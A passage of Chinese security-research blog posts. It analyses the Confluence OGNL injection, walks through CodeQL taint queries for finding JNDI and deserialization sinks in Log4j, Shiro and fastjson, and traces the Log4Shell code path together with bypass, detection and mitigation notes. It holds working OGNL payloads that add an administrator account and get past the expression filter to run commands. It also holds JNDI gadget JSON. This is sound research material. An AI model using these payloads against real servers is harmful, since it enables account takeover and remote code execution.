由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
docker-compose
version: '2' services: web: image: atlassian/confluence-server:7.18.0-jdk11 ports: - "8090:8090" - "5005:5005" depends_on: - db db: image: postgres:12.8-alpine environment: - POSTGRES_PASSWORD=postgres - POSTGRES_DB=confluence
进入实例查找setenv.sh
,在CATALINA_OPTS
添加 debug 信息并重启
CATALINA_OPTS="${CATALINA_OPTS} -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" export CATALINA_OPTS
在 IDEA 添加Remote JVM Debug
,同时将confluence/lib
添加到 Library 中即可
在 Apache 上关于 XWork 的介绍
XWork 2 is a generic command pattern framework. It forms the core of Struts 2. It features:
- Flexible and customizable configuration based on a simple Configuration interface, allowing you to use XML , programmatic, or even product-integrated configuration
- Core command pattern framework which can be customized and extended through the use of interceptors to fit any request / response environment
- Built in type conversion and action property validation using OGNL
- Powerful validation framework based on runtime attributes and a validation interceptor
实际上 Confluence 里还使用的 XWork 1 修改版,具体区别我们不用考虑,更多是了解到很多 OGNL 注入源于这个框架,例如struts2 中的黑名单
其架构大致如下,贴在这里方便后续理解
通过Confluence Security Advisory 2022-06-02公告主要更新了xwork-1.0.3-atlassian-10.jar
其与前一个版本主要的修改com.opensymphony.xwork.ActionChainResult#execute
很直观是OGNL注入,如果分析过s2-057,那基本就不需要后续这段分析了
经过 Tomcat Filter 后由 ConfluenceServletDispatcher 处理,其继承自 ServletDispatcher
再此创建一个ActionProxy开始处理内容
public void serviceAction(HttpServletRequest request, HttpServletResponse response, String namespace, String actionName, Map requestMap, Map parameterMap, Map sessionMap, Map applicationMap) { Map extraContext = createContextMap(requestMap, parameterMap, sessionMap, applicationMap, request, response, this.getServletConfig()); extraContext.put("com.opensymphony.xwork.dispatcher.ServletDispatcher", this); try { ActionProxy proxy = ActionProxyFactory.getFactory().createActionProxy(namespace, actionName, extraContext); request.setAttribute("webwork.valueStack", proxy.getInvocation().getStack()); proxy.execute(); ...
创建Proxy时有个小细节,com.opensymphony.xwork.DefaultActionProxyFactory#createActionProxy
会赋值executeResult=true
public ActionProxy createActionProxy(String namespace, String actionName, Map extraContext) throws Exception { return new DefaultActionProxy(namespace, actionName, extraContext, true);}
代理处理上下文时实际通过Interceptor.intercept进行处理,大部分Interceptor都是通用形式处理部分内容并不产生结果,同时回调invoke交付给下一个处理,最终由某个Interceptor产生结果并反映到ActionContext最终返回
public String invoke() throws Exception { if (this.executed) { throw new IllegalStateException("Action has already executed"); } else { if (this.interceptors.hasNext()) { Interceptor interceptor = (Interceptor)this.interceptors.next(); this.resultCode = interceptor.intercept(this); } else if (this.proxy.getConfig().getMethodName() == null) { this.resultCode = this.getAction().execute(); } else { this.resultCode = this.invokeAction(this.getAction(), this.proxy.getConfig()); } if (!this.executed) { if (this.preResultListeners != null) { Iterator iterator = this.preResultListeners.iterator(); while(iterator.hasNext()) { PreResultListener listener = (PreResultListener)iterator.next(); listener.beforeResult(this, this.resultCode); } } if (this.proxy.getExecuteResult()) { this.executeResult(); } this.executed = true; } return this.resultCode; }}
不同版本Interceptors会有差异,无关紧要,这里关注到ConfluenceAccessInterceptor
在com.atlassian.confluence.security.interceptors.ConfluenceAccessInterceptor
中,其intercept首先判断容器是否正常启动且当前用户是否有权限访问相关action,当某一个失败时便返回notpermitted
脱离轮训并尝试立即处理
public class ConfluenceAccessInterceptor extends AbstractAwareInterceptor { private final Supplier<ActionAccessChecker> actionAccessChecker = new LazyComponentReference("actionAccessChecker"); public ConfluenceAccessInterceptor() { } public String intercept(ActionInvocation actionInvocation) throws Exception { return ContainerManager.isContainerSetup() && !this.isAccessPermitted(actionInvocation) ? "notpermitted" : actionInvocation.invoke(); } private boolean isAccessPermitted(ActionInvocation actionInvocation) { return ((ActionAccessChecker)this.actionAccessChecker.get()).isAccessPermitted(actionInvocation.getAction(), actionInvocation.getProxy().getConfig().getMethodName()); }}
因为在此之前ActionProxy设置有executeResult=true
,于是进入com.opensymphony.xwork.DefaultActionInvocation#executeResult
并一路到达com.opensymphony.xwork.ActionChainResult#execute
为什么利用点是finalNamespace
而不能是finalActionName
因为在创建ActionProxy时需要根据namespace、action来获取config,在namespace为payload无法有效获取时,会获取默认配置列表,又由于此时action为自动填充的index
所以会返回相关配置信息
若无有效config配置信息,程序会报错返回,因此限定了利用点为finalNamespace
对于低版本cf可以复用之前的OGNL注入payload,但v7.15开始加入了SafeExpressionUtil
来过滤危险OGNL执行
public Object findValue(String expr) { try { if (expr == null) { return null; } else if (!this.safeExpressionUtil.isSafeExpression(expr)) { return null; } else { if (this.overrides != null && this.overrides.containsKey(expr)) { expr = (String)this.overrides.get(expr); } return this.defaultType != null ? this.findValue(expr, this.defaultType) : Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root); }
在com.opensymphony.xwork.util.SafeExpressionUtil
定义有不安全的Property、Package、Method,以及安全的Class
private final Set<String> unsafePropertyNames = this.getUnsafePropertyNames();private final Set<String> unsafePackageNames = this.getUnsafePackageNames();private final Set<String> unsafeMethodNames = this.getUnsafeMethodNames();private final Set<String> allowedClassNames = this.getAllowedClassNames();
并最终落实在com.opensymphony.xwork.util.SafeExpressionUtil#isSafeExpressionInternal
执行判断逻辑
并对表达式的各个节点执行检查
Object parsedExpression = OgnlUtil.compile(expression); if (parsedExpression instanceof Node) { if (this.containsUnsafeExpression((Node)parsedExpression, visitedExpressions)) { ...
private boolean containsUnsafeExpression(Node node, Set<String> visitedExpressions) { String nodeClassName = node.getClass().getName(); if (UNSAFE_NODE_TYPES.contains(nodeClassName)) { return true; } else if ("ognl.ASTStaticMethod".equals(nodeClassName) && !this.allowedClassNames.contains(getClassNameFromStaticMethod(node))) { return true; } else if ("ognl.ASTProperty".equals(nodeClassName) && this.isUnSafeClass(node.toString())) { return true; } else if ("ognl.ASTMethod".equals(nodeClassName) && this.unsafeMethodNames.contains(getMethodInOgnlExp(node))) { return true; } else if ("ognl.ASTVarRef".equals(nodeClassName) && UNSAFE_VARIABLE_NAMES.contains(node.toString())) { return true; } else if ("ognl.ASTConst".equals(nodeClassName) && !this.isSafeConstantExpressionNode(node, visitedExpressions)) { return true; } else { for(int i = 0; i < node.jjtGetNumChildren(); ++i) { Node childNode = node.jjtGetChild(i); if (childNode != null && this.containsUnsafeExpression(childNode, visitedExpressions)) { return true; } } return false; }}
对此有两种常用的绕过
一眼看过去com.atlassian.confluence.util.GeneralUtil
是最直接的,其提供了很多入口以及工具
添加用户
bucket.user.DefaultUserAccessor#addUser(java.lang.String, java.lang.String, java.lang.String, java.lang.String)
对应
${@com.atlassian.confluence.util.GeneralUtil@getUserAccessor().addUser("sari3l","123456","test@test.com","Sari3l")}
添加用户同时设置用户组
bucket.user.DefaultUserAccessor#addUser(java.lang.String, java.lang.String, java.lang.String, java.lang.String, java.lang.String[])
对应
${@com.atlassian.confluence.util.GeneralUtil@getUserAccessor().addUser("sari3l","123456","test@test.com","Sari3l", @com.atlassian.confluence.util.GeneralUtil@splitCommaDelimitedString("confluence-administrators,confluence-users"))}
反射绕过是从很早struts2就开始利用的操作,对于黑白名单绕过非常有效
${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-Cmd-Response",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(填充))"))}
推荐:http://xssor.io/ 使用 -10EN
编码
var r='';var p = java.lang.Runtime.getRuntime().exec('id').getInputStream();while (1) {var b = p.read();if (b == -1) {break;}r=r+String.fromCharCode(b)};r
例如
${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-Cmd-Response",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(118,97,114,32,114,61,39,39,59,118,97,114,32,112,32,61,32,106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,105,100,39,41,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59,119,104,105,108,101,32,40,49,41,32,123,118,97,114,32,98,32,61,32,112,46,114,101,97,100,40,41,59,105,102,32,40,98,32,61,61,32,45,49,41,32,123,98,114,101,97,107,59,125,114,61,114,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,98,41,125,59,114))"))}
Key | Set |
---|---|
unsafePropertyNames | |
unsafePackageNames | |
unsafeMethodNames | |
allowedClassNames |
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
这里可以借鉴 CWE-074 中的内容,直接使用其定义的 sink,其已经将常见的利用点标记出来
private class DefaultJndiInjectionSinkModel extends SinkModelCsv { override predicate row(string row) { row = [ "javax.naming;Context;true;lookup;;;Argument[0];jndi-injection", "javax.naming;Context;true;lookupLink;;;Argument[0];jndi-injection", "javax.naming;Context;true;rename;;;Argument[0];jndi-injection", "javax.naming;Context;true;list;;;Argument[0];jndi-injection", "javax.naming;Context;true;listBindings;;;Argument[0];jndi-injection", "javax.naming;InitialContext;true;doLookup;;;Argument[0];jndi-injection", "javax.management.remote;JMXConnector;true;connect;;;Argument[-1];jndi-injection", "javax.management.remote;JMXConnectorFactory;false;connect;;;Argument[0];jndi-injection", // Spring "org.springframework.jndi;JndiTemplate;false;lookup;;;Argument[0];jndi-injection", // spring-ldap 1.2.x and newer "org.springframework.ldap.core;LdapOperations;true;lookup;;;Argument[0];jndi-injection", "org.springframework.ldap.core;LdapOperations;true;lookupContext;;;Argument[0];jndi-injection", "org.springframework.ldap.core;LdapOperations;true;findByDn;;;Argument[0];jndi-injection", "org.springframework.ldap.core;LdapOperations;true;rename;;;Argument[0];jndi-injection", "org.springframework.ldap.core;LdapOperations;true;list;;;Argument[0];jndi-injection", "org.springframework.ldap.core;LdapOperations;true;listBindings;;;Argument[0];jndi-injection", "org.springframework.ldap.core;LdapOperations;true;search;(Name,String,ContextMapper);;Argument[0];jndi-injection", "org.springframework.ldap.core;LdapOperations;true;search;(Name,String,int,ContextMapper);;Argument[0];jndi-injection", "org.springframework.ldap.core;LdapOperations;true;search;(Name,String,int,String[],ContextMapper);;Argument[0];jndi-injection", "org.springframework.ldap.core;LdapOperations;true;search;(String,String,ContextMapper);;Argument[0];jndi-injection", "org.springframework.ldap.core;LdapOperations;true;search;(String,String,int,ContextMapper);;Argument[0];jndi-injection", "org.springframework.ldap.core;LdapOperations;true;search;(String,String,int,String[],ContextMapper);;Argument[0];jndi-injection", "org.springframework.ldap.core;LdapOperations;true;searchForObject;(Name,String,ContextMapper);;Argument[0];jndi-injection", "org.springframework.ldap.core;LdapOperations;true;searchForObject;(String,String,ContextMapper);;Argument[0];jndi-injection", // spring-ldap 1.1.x "org.springframework.ldap;LdapOperations;true;lookup;;;Argument[0];jndi-injection", "org.springframework.ldap;LdapOperations;true;lookupContext;;;Argument[0];jndi-injection", "org.springframework.ldap;LdapOperations;true;findByDn;;;Argument[0];jndi-injection", "org.springframework.ldap;LdapOperations;true;rename;;;Argument[0];jndi-injection", "org.springframework.ldap;LdapOperations;true;list;;;Argument[0];jndi-injection", "org.springframework.ldap;LdapOperations;true;listBindings;;;Argument[0];jndi-injection", "org.springframework.ldap;LdapOperations;true;search;(Name,String,ContextMapper);;Argument[0];jndi-injection", "org.springframework.ldap;LdapOperations;true;search;(Name,String,int,ContextMapper);;Argument[0];jndi-injection", "org.springframework.ldap;LdapOperations;true;search;(Name,String,int,String[],ContextMapper);;Argument[0];jndi-injection", "org.springframework.ldap;LdapOperations;true;search;(String,String,ContextMapper);;Argument[0];jndi-injection", "org.springframework.ldap;LdapOperations;true;search;(String,String,int,ContextMapper);;Argument[0];jndi-injection", "org.springframework.ldap;LdapOperations;true;search;(String,String,int,String[],ContextMapper);;Argument[0];jndi-injection", "org.springframework.ldap;LdapOperations;true;searchForObject;(Name,String,ContextMapper);;Argument[0];jndi-injection", "org.springframework.ldap;LdapOperations;true;searchForObject;(String,String,ContextMapper);;Argument[0];jndi-injection", // Shiro "org.apache.shiro.jndi;JndiTemplate;false;lookup;;;Argument[0];jndi-injection" ] }}
所以我们只要关注到 source 的定义即可,而追溯 source 不管怎么向上,终归应该是有个函数中的某个参数是源头,所以如下定义 source
/** * @kind path-problem */import javaimport semmle.code.java.security.JndiInjectionimport semmle.code.java.dataflow.FlowSourcesimport DataFlow::PathGraphclass Config extends TaintTracking::Configuration { Config() { this = "Config" } override predicate isSource(DataFlow::Node source) { exists(Argument a | a = source.asExpr()) } override predicate isSink(DataFlow::Node sink) { sink instanceof JndiInjectionSink }}from DataFlow::PathNode source, DataFlow::PathNode sink, Config confwhere conf.hasFlowPath(source, sink)select sink.getNode(), source, sink, "JNDI lookup might include name from $@.", source.getNode(), "this user input"
这个结果太多以至于就不放上来占篇幅了,不过有很多有意思的东西可以自己看看
限定为AbstractLogger的主要考虑是为了重现 CVE-2021-44228,由于此类下方法太多,没必要过于细化,我们只要考虑这个类里,某个公开函数的某个参数应是 source 即可
override predicate isSource(DataFlow::Node source) { exists(MethodAccess mda | mda.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.spi", "AbstractLogger") and mda.getAnArgument() = source.asExpr() and mda.getMethod().isPublic() )}
基本有的没的就全出来了
这个发现不用什么高大上的方法,甚至根本不该称为漏洞(很模糊的界限),注释里面写的就是对 JNDI 形式的支持(我觉得官方现在是草木皆兵
只需要对上述的 isSink 使用CodeQL: Quick Evaluation
快速查询即可
如果上面的都能称为漏洞,那么如org.apache.logging.log4j.jmx.gui.ClientGui#main
里也明显有 JNDI 注入,只是需要传输指定类名为 jmxrmi
直接利用
import org.apache.logging.log4j.jmx.gui.ClientGui;public class Test { public static void main(String[] args) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); ClientGui.main(new String[]{"127.0.0.1"}); }}
终归就是
]]>由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
首先,我们先要明确现在是已知漏洞点和步入条件,由此来尝试获取其他未知的链
比如需要满足以下条件的setter- 函数名长度 >= 4- 非静态函数- 返回类型要么是void要么是当前类- 参数只有一个- 方法名需要以set开头----满足以下条件的getter- 函数名长度 >= 4- 非静态函数- 函数名称以get起始,且第四个字符为大写字母- 函数没有入参- 继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong
首先编译好数据库,然后开始着手 QL 查询文件
第一步,由于我们目标 sink 是 JNDI 相关类下的 lookup 方法,所以先定义目标方法
class JNDIMethod extends Method { JNDIMethod() { this.getDeclaringType().hasQualifiedName("javax.naming", "Context") and this.hasName("lookup") }}
来解释下各行的内容,之后的学习就不再赘述
限制条件
,那么this
应是我们想要的方法其中,对限制条件中用到的函数做一些解释
所以整个限制条件直接翻译就是:寻找名为 lookup 的方法所在类,且此类应在javax.naming中被声明为Context类,即查找 javax.naming.Context#lookup
class JNDIMethod extends Method { JNDIMethod() { this.getDeclaringType().hasQualifiedName("javax.naming", "Context") and this.hasName("lookup") }}
函数解释
isSource 检测是否存在某个对字段的访问的表达式,是在名为 getXXX 或 setXXX 的函数中,是的话则将此字段入口
设置为搜寻的 source(起点)
override predicate isSource(DataFlow::Node node) { exists(FieldAccess fac | ( fac.getSite().getName().indexOf("get") = 0 or fac.getSite().getName().indexOf("set") = 0 ) and node.asExpr() = fac )}
函数解释
isSink 检测是否存在某个方法是 JNDIMethod 的实例,且第一个参数可控,是的话将此方法入口
设置为搜寻的 sink(终点)
override predicate isSink(DataFlow::Node node) { exists(MethodAccess md | ( md.getMethod() instanceof JNDIMethod and node.asExpr() = md.getArgument(0) ) )}
说实话看官方文档没太看懂 DataFlow DataFlow2 有啥区别
from MyTaintTraking conf, DataFlow2::PathNode source, DataFlow2::PathNode sinkwhere conf.hasFlowPath(source, sink)select ...
/** * @kind path-problem */import javaimport semmle.code.java.dataflow.FlowSourcesimport semmle.code.java.dataflow.TaintTracking2import DataFlow2::PathGraphclass JNDIMethod extends Method { JNDIMethod() { this.getDeclaringType().hasQualifiedName("javax.naming", "Context") and this.hasName("lookup") }}class MyTaintTraking extends TaintTracking2::Configuration { MyTaintTraking() { this = "MyTaintTraking" } override predicate isSource(DataFlow::Node node) { exists(FieldAccess fac | ( fac.getSite().getName().indexOf("get") = 0 or fac.getSite().getName().indexOf("set") = 0 ) and node.asExpr() = fac ) } override predicate isSink(DataFlow::Node node) { exists(MethodAccess md | ( md.getMethod() instanceof JNDIMethod and node.asExpr() = md.getArgument(0) ) ) }}from MyTaintTraking conf, DataFlow2::PathNode source, DataFlow2::PathNode sinkwhere conf.hasFlowPath(source, sink)select sink.getNode(), source, sink, "JNDI lookup might include name from $@.", source.getNode(), "this user input"
最后成功执行会有 alerts 信息,本次有三条,但实际是两条链,中间因为有if...else...
结构导致 Path 看起来多,结果中的 Path 从上到下即是从 source 到 sink 的过程
对应 Payload
{ "@type": "org.apache.shiro.jndi.JndiObjectFactory", "resourceName": "ldap://xxxx"}
对应 Payload
{ "@type": "org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames": [ "ldap://xxxx" ]}
我们知道序列化的终点是java.io.ObjectInputStream#readObject
即可以作为 sink,那么关键点在于如何设定 source
首先我们确定肯定是从某个字段最终流向反序列化执行,所以这里 source 设置为所有字段
/** * @kind path-problem */import javaimport semmle.code.java.dataflow.TaintTracking2import semmle.code.java.dataflow.FlowSourcesimport DataFlow2::PathGraphclass DeseializationMethod extends Method { DeseializationMethod() { this.getDeclaringType().hasQualifiedName("java.io", "ObjectInputStream") and this.hasName("readObject") }}class MyTaintTest extends TaintTracking2::Configuration { MyTaintTest() { this = "MyTaintTest"} override predicate isSource (DataFlow::Node node) { exists(FieldAccess fda | fda = node.asExpr()) } override predicate isSink(DataFlow::Node node) { exists(MethodAccess mda | mda = node.asExpr() and mda.getMethod() instanceof DeseializationMethod ) }}from MyTaintTest conf, DataFlow2::PathNode source, DataFlow2::PathNode sinkwhere conf.hasFlowPath(source, sink)select sink.getNode(), source, sink, "from $@", source.getNode(), "this user input"
得出的结果实际卡在 AbstractRememberMeManager,说明向上的 source 断了
按大佬给的 RemoteFlowSource(至于它本身代表什么稍后再说)作为 source,上面的代码基本不动,只是修改 isSource 判断逻辑
override predicate isSource (DataFlow::Node node) { node instanceof RemoteFlowSource}
可以看到 Path 直接跟到了 SimpleCookie,基本上达到了入口点的位置,中间的变量传递也帮我们识别解决了
代码位于/java/ql/lib/semmle/code/java/dataflow/FlowSources.qll
,主要识别各种可用于污染跟踪的流源
因为有很多子类,不好确定到底是哪个类型触发的,将输出改为source.getNode().getAQlClass()
我们能获取到以下内容,可以知道关键在于ExternalRemoteFlowSource
定义很简单,主要是 sourceNode 方法
private class ExternalRemoteFlowSource extends RemoteFlowSource { ExternalRemoteFlowSource() { sourceNode(this, "remote") } override string getSourceType() { result = "external" }}
方法定义于/java/ql/lib/semmle/code/java/dataflow/ExternalFlow.qll#L723
predicate sourceNode(Node node, string kind) { exists(InterpretNode n | isSourceNode(n, kind) and n.asNode() = node)}
这里就不再往下深入跟方法了,我们来看看它所在的 ExternalFlow 的内容,这里的注释很关键也方便理解,由于篇幅的缘故不放上来,自行查阅,我们关注以下内容
The CSV specification has the following columns: - Sources: `namespace; type; subtypes; name; signature; ext; output; kind` - Sinks: `namespace; type; subtypes; name; signature; ext; input; kind` - Summaries: `namespace; type; subtypes; name; signature; ext; input; output; kind`The `kind` column is a tag that can be referenced from QL to determine to which classes the interpreted elements should be added. For example, for sources "remote" indicates a default remote flow source, and for summaries "taint" indicates a default additional taint step and "value" indicates a globally applicable value-preserving step.
根据上面理解 kind 的作用,大致意思就是对 source 进行解析,并通过 kind 来标记三种类型
private predicate sourceModelCsv(string row) { row = [ ... // CookieGet* "javax.servlet.http;Cookie;false;getValue;();;ReturnValue;remote", "javax.servlet.http;Cookie;false;getName;();;ReturnValue;remote", "javax.servlet.http;Cookie;false;getComment;();;ReturnValue;remote", ... ]private predicate summaryModelCsv(string row) { row = [ ... // arg to return "java.nio;ByteBuffer;false;wrap;(byte[]);;Argument[0];ReturnValue;taint", "java.util;Base64$Encoder;false;encode;(byte[]);;Argument[0];ReturnValue;taint", "java.util;Base64$Encoder;false;encode;(ByteBuffer);;Argument[0];ReturnValue;taint", "java.util;Base64$Encoder;false;encodeToString;(byte[]);;Argument[0];ReturnValue;taint", "java.util;Base64$Encoder;false;wrap;(OutputStream);;Argument[0];ReturnValue;taint", "java.util;Base64$Decoder;false;decode;(byte[]);;Argument[0];ReturnValue;taint", "java.util;Base64$Decoder;false;decode;(ByteBuffer);;Argument[0];ReturnValue;taint", "java.util;Base64$Decoder;false;decode;(String);;Argument[0];ReturnValue;taint", "java.util;Base64$Decoder;false;wrap;(InputStream);;Argument[0];ReturnValue;taint", "cn.hutool.core.codec;Base64;true;decode;;;Argument[0];ReturnValue;taint", "org.apache.shiro.codec;Base64;false;decode;(String);;Argument[0];ReturnValue;taint", ... ]
由此,关键的点 CodeQL 官方已经帮我们识别主流框架中的数据源,并通过将一些变量传递点设为污染连接起来,省去了很多麻烦,不过同时由于限定于这些内容,对于完全自行开发的代码内容就没有那么有效了(如果有这种项目也是神奇)
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
首先根据这两个commits 基本可以确定最终是通过lookup执行了JNDI攻击
LOG4J2-3198中可以发现一丝端倪
通过这两段diff,基本确认就是在MessagePatternConverter通过触发lookup形成了漏洞
另外可见官方Lookups
文档,这里大概知道怎么构造触发
首先经过org.apache.logging.log4j.spi.AbstractLogger#logIfEnabled
,在这里isEnabled的作用是比较配置文件中Root设定的最低记录信息等级,确认是否需要记录,等级对应在org.apache.logging.log4j.spi.StandardLevel
,数字越大记录越全
@Overridepublic void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message, final Throwable t) { if (isEnabled(level, marker, message, t)) { logMessage(fqcn, level, marker, message, t); }}
之后通过默认工厂类构造msg,(这里可能会有隐患,详见:关于自定义 log4j2.messageFactory 一节
private static MessageFactory2 createDefaultMessageFactory() { try { final MessageFactory result = DEFAULT_MESSAGE_FACTORY_CLASS.newInstance(); return narrow(result); } catch (final InstantiationException | IllegalAccessException e) { ... }}
执行到org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable
,这里会根据配置解析出的转换器进行数据的格式化并将内容填充到buffer
@Overridepublic StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) { final int len = formatters.length; for (int i = 0; i < len; i++) { formatters[i].format(event, buffer); } if (replace != null) { // creates temporary objects String str = buffer.toString(); str = replace.format(str); buffer.setLength(0); buffer.append(str); } return buffer;}
当formatter为org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
时,如果noLookups
未开启,则会尝试通过replace
根据表达式替换信息
@Overridepublic void format(final LogEvent event, final StringBuilder toAppendTo) { final Message msg = event.getMessage(); if (msg instanceof StringBuilderFormattable) { final boolean doRender = textRenderer != null; final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo; final int offset = workingBuilder.length(); if (msg instanceof MultiFormatStringBuilderFormattable) { ... } else { ... } // TODO can we optimize this? if (config != null && !noLookups) { for (int i = offset; i < workingBuilder.length() - 1; i++) { if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') { final String value = workingBuilder.substring(offset, workingBuilder.length()); workingBuilder.setLength(offset); workingBuilder.append(config.getStrSubstitutor().replace(event, value)); } } } if (doRender) { textRenderer.render(workingBuilder, toAppendTo); } return; } if (msg != null) { ... }}
最后实际由org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute
进行替换操作
由org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable
执行lookup表达式
并通过前缀判断进入到对应协议解析
后面就是常规JNDI利用,不再赘述(这里还未限制协议头
首先msg通过messageFactory.newMessage(message)
产生,如果全以默认且仅传入message则默认进入org.apache.logging.log4j.message.ReusableMessageFactory#newMessage(java.lang.CharSequence)
@Overridepublic Message newMessage(final String message) { final ReusableSimpleMessage result = getSimple(); result.set(message); return result;}
如果设定messageFactory为log4j2自有的factory
则会进入org.apache.logging.log4j.message.AbstractMessageFactory#newMessage(java.lang.String)
@Overridepublic Message newMessage(final String message) { return new SimpleMessage(message);}
在记录event时,会通过org.apache.logging.log4j.core.impl.MutableLogEvent#setMessage
尝试提取msg信息,这里比较关键
public void setMessage(final Message msg) { if (msg instanceof ReusableMessage) { final ReusableMessage reusable = (ReusableMessage) msg; reusable.formatTo(getMessageTextForWriting()); this.messageFormat = msg.getFormat(); if (parameters != null) { parameters = reusable.swapParameters(parameters); parameterCount = reusable.getParameterCount(); } } else { this.message = InternalAsyncUtil.makeMessageImmutable(msg); }}
public static Message makeMessageImmutable(final Message msg) { // if the Message instance is reused, there is no point in freezing its message here if (msg != null && !canFormatMessageInBackground(msg)) { msg.getFormattedMessage(); // LOG4J2-763: ask message to makeMessageImmutable parameters } return msg; }
以及后面开始执行格式化org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
时注意第二部分,会直接无视lookup是否开启,尝试执行替换
所以关键点在控制以下两点的返回
所以如何控制呢,其实很简单
很容易构造相关场景,这里暂不提供
这个版本出现了bypass,也是提供了现实案例:官方的补丁不一定安全
很明显,通过异常报错绕过了一些限制,导致直接不安全的lookup(为什么需要这么绕过呢,因为JndiManager初始化时通过设置allowedProtocols与allowedHosts还有allowedClasses基本限制了ldap(s)的利用
另外注意到LOG4J2-3198在MessagePatternConverter创建实例时新增了判断,默认是SimpleMessagePatternConverter,如果格式化字符带有{lookup}选项时,则通过FormattedMessagePatternConverter创建
通过一样的PoC,一直进入到MessagePatternConverter,这里发生了变化,原来的MessagePatternConverter.format全部通过新分配的XXXConverter.format实现,由于配置了lookup选项,所以交由org.apache.logging.log4j.core.pattern.MessagePatternConverter.LookupMessagePatternConverter#format
进行格式化(原来的MessagePatternConverter.format的修改也导致无法通过自定义factory进行绕过的风险
@Overridepublic void format(final LogEvent event, final StringBuilder toAppendTo) { int start = toAppendTo.length(); delegate.format(event, toAppendTo); int indexOfSubstitution = toAppendTo.indexOf("${", start); if (indexOfSubstitution >= 0) { config.getStrSubstitutor() .replaceIn(event, toAppendTo, indexOfSubstitution, toAppendTo.length() - indexOfSubstitution); }}
最终一路进入到,可以看到如果想要触发异常,需要URI(name)
异常,这里就很好操作了(坏字符、空格…
public synchronized <T> T lookup(final String name) throws NamingException { try { URI uri = new URI(name); if (uri.getScheme() != null) { ... } } } catch (URISyntaxException ex) { // This is OK. } return (T) this.context.lookup(name);}
在org.apache.logging.log4j.core.pattern.PatternParser#finalizeConverter
很明显,需要进入到org.apache.logging.log4j.core.pattern.MessagePatternConverter#MessagePatternConverter
这个类需要有特征转换标记%m %msg %message
之一,转换标记在各个Converter中通过修饰符定义
而默认在 org.apache.logging.log4j.core.config.DefaultConfiguration#DEFAULT_PATTERN
定义有
public static final String DEFAULT_PATTERN = "%d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n";
当然如果开发自己写有配置文档,但是不带特征标记,也无法触发(但是谁会不记录msg呢?
根据 LOG4J2-3198 - Log4j2 no longer formats lookups in messages by default
中的修改内容可以看到,启用lookup需要在占位符后添加{lookups}
声明(选项)才可执行lookup解析
所以需要配置类似有
<PatternLayout pattern="%d{HH:mm:ss} %msg{lookups}%n"/>
表达式解析主要使用以下三个函数,通过深度遍历,解析所有存在的表达式
代码比较长,做了个解析流程图
举几个例子方便理解流程和结果
表达式 | 解析流程 | 是否替换 | 结果 |
---|---|---|---|
${:-} | 1-2-4-6-7-8 | √ | 空字符串 |
${::} | 1-3-4-6-7 | × | |
${lower:d} | 1-3-4-5-8 | √ | d |
${clower:d} | 1-3-4-6-7 | × | |
${clower:hostName} | 1-3-4-6-8 | √ | 本地 hostname |
${c:d:lower:d} | 1-3-4-6-7 | × | |
${c:d:lower:-d} | 1-2-4-6-7-8 | √ | d |
${lower:${:-D}} | 1-1-2-4-6-7-8-3-4-5-8 | √ | d |
这里只说纯表达式字符串在流量中的指纹匹配,初步就是检测${j
、${$
是否存在,解码获取完整内容匹配 jndi头、domain 信息等内容
log4j2.formatMsgNoLookups=True
2.15.0-rc2
即2.15.0
首先直接上结论:删除META-INF/org/apache/logging/log4j/core/config/plugins/Log4j2Plugins.dat
里对应JNDI字符串即可
通过上面知道strLookupMap中存有允许的前缀及对应处理类,而其在org.apache.logging.log4j.core.lookup.Interpolator#Interpolator
中初始化有(看起来是这里
try { // [LOG4J2-703] We might be on Android strLookupMap.put(LOOKUP_KEY_JNDI, Loader.newCheckedInstanceOf("org.apache.logging.log4j.core.lookup.JndiLookup", StrLookup.class));} catch (final LinkageError | Exception e) { handleError(LOOKUP_KEY_JNDI, e);}
而在org.apache.logging.log4j.core.config.AbstractConfiguration
初始化有
private final StrLookup tempLookup = new Interpolator(propertyMap);private final StrSubstitutor subst = new StrSubstitutor(tempLookup);
而实际最后是在这里填充可处理对象
public void setVariableResolver(final StrLookup variableResolver) { if (variableResolver instanceof ConfigurationAware && this.configuration != null) { ((ConfigurationAware) variableResolver).setConfiguration(this.configuration); } this.variableResolver = variableResolver;}
而configuration最终通过org.apache.logging.log4j.core.config.plugins.util.PluginRegistry#decodeCacheFiles
缓存文件获取加载类
所以删除META-INF/org/apache/logging/log4j/core/config/plugins/Log4j2Plugins.dat
里对应JNDI字符串即可
各种临时性的hook或者卸载对甲方来说并不实用,在此不表
时间 | 行为 | 链接 |
---|---|---|
